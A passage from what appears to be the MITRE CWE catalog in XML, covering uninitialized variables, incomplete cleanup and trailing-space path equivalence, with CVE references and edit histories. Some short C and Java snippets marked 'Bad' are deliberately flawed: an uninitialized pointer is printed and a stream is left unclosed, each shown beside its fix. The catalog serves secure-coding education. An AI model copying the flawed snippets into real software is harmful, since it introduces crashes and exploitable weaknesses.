                           <xhtml:br/>default:<xhtml:div style="margin-left:1em;">aN = -1;<xhtml:br/>aN = -1;<xhtml:br/>break;</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>repaint(aN, bN);</xhtml:div>
               </Example_Code>
               <Body_Text>In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.</Body_Text>
            </Demonstrative_Example>
			<Demonstrative_Example Demonstrative_Example_ID="DX-144">
			  <Intro_Text>This example will leave test_string in an
			  unknown condition when i is the same value as err_val,
			  because test_string is not initialized
			  (CWE-456). Depending on where this code segment appears
			  (e.g. within a function body), test_string might be
			  random if it is stored on the heap or stack. If the
			  variable is declared in static memory, it might be zero
			  or NULL. Compiler optimization might contribute to the
			  unpredictability of this address.</Intro_Text>
			  <Example_Code Nature="Bad" Language="C">
                char *test_string;<xhtml:br/>
                if (i != err_val)<xhtml:br/>
                {<xhtml:br/>
                <xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
                }<xhtml:br/>
                printf("%s", test_string);
              </Example_Code>
              <Body_Text><xhtml:p>When the printf() is reached,
              test_string might be an unexpected address, so the
              printf might print junk strings (CWE-457).</xhtml:p>
			  <xhtml:p>
			  To fix this code, there are a couple approaches to
			  making sure that test_string has been properly set once
			  it reaches the printf().</xhtml:p>
			  <xhtml:p>One solution would be to set test_string to an
			  acceptable default before the conditional:</xhtml:p>
			  </Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string = "Done at the beginning";<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			  <Body_Text>Another solution is to ensure that each
			  branch of the conditional - including the default/else
			  branch - could ensure that test_string is set:</Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string;<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				else {<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Done on the other side!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			</Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-15900</Reference>
               <Description>Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-15900</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3688</Reference>
               <Description>Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3688</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0081</Reference>
               <Description>Uninitialized variable leads to code execution in popular desktop application.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0081</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4682</Reference>
               <Description>Crafted input triggers dereference of an uninitialized object pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4682</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3468</Reference>
               <Description>Crafted audio file triggers crash when an uninitialized variable is used.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3468</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2728</Reference>
               <Description>Uninitialized random seed variable used.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2728</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Uninitialized variable</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Uninitialized Variable</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>DCL33-PL</Entry_ID>
               <Entry_Name>Declare identifiers before using them</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-436"/>
            <Reference External_Reference_ID="REF-437"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 8: C++ Catastrophes.&#34; Page 143"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Variable Initialization&#34;, Page 312"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Relationships, Observed_Example, Other_Notes, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Uninitialized Variable</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="458" Name="DEPRECATED: Incorrect Initialization" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.</Description>
	 <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions for other CWE IDs to use.</xhtml:p>
	    </Note>
	 </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-04-11">Incorrect Initialization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="459" Name="Incomplete Cleanup" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly "clean up" and remove temporary or supporting resources after they have been used.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Insufficient Cleanup</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Other</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">InputStream is = new FileInputStream(path);<xhtml:br/>byte b[] = new byte[is.available()];<xhtml:br/>is.read(b);<xhtml:br/>is.close();</xhtml:div>} catch (Throwable t) {<xhtml:div style="margin-left:1em;">log.error("Something bad happened: " + t.getMessage());</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0552</Reference>
               <Description>World-readable temporary file not deleted after use.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0552</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2293</Reference>
               <Description>Temporary file not deleted after use, leaking database usernames and passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2293</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0788</Reference>
               <Description>Interaction error creates a temporary file that can not be deleted due to strong permissions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0788</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2066</Reference>
               <Description>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2066</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2067</Reference>
               <Description>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2067</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2068</Reference>
               <Description>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2068</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2069</Reference>
               <Description>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2069</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2070</Reference>
               <Description>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2070</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1744</Reference>
               <Description>Users not logged out when application is restarted after security-relevant changes were made.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1744</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>File Processing</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Incomplete Cleanup</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO42-C</Entry_ID>
               <Entry_Name>Close files when they are no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM31-C</Entry_ID>
               <Entry_Name>Free dynamically allocated memory when no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO04-J</Entry_ID>
               <Entry_Name>Release resources when they are no longer needed</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO00-J</Entry_ID>
               <Entry_Name>Do not operate on files in shared directories</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP14</Entry_ID>
               <Entry_Name>Failure to release resource</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.</Note>
            <Note Type="Relationship">Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="46" Name="Path Equivalence: 'filename ' (Trailing Space)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="162" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="289" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0693</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0693</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0778</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1248</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1248</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0280</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0280</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2213</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0622</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0622</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1656</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1656</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1603</Reference>
               <Description>Source disclosure via trailing encoded space "%20"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0054</Reference>
               <Description>Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1451</Reference>
               <Description>Trailing space ("+" in query string) leads to source code disclosure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1451</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Trailing Space - 'filedir '</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="649"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Trailing Space - 'filedir '</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="460" Name="Improper Cleanup on Thrown Exception" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.</Description>
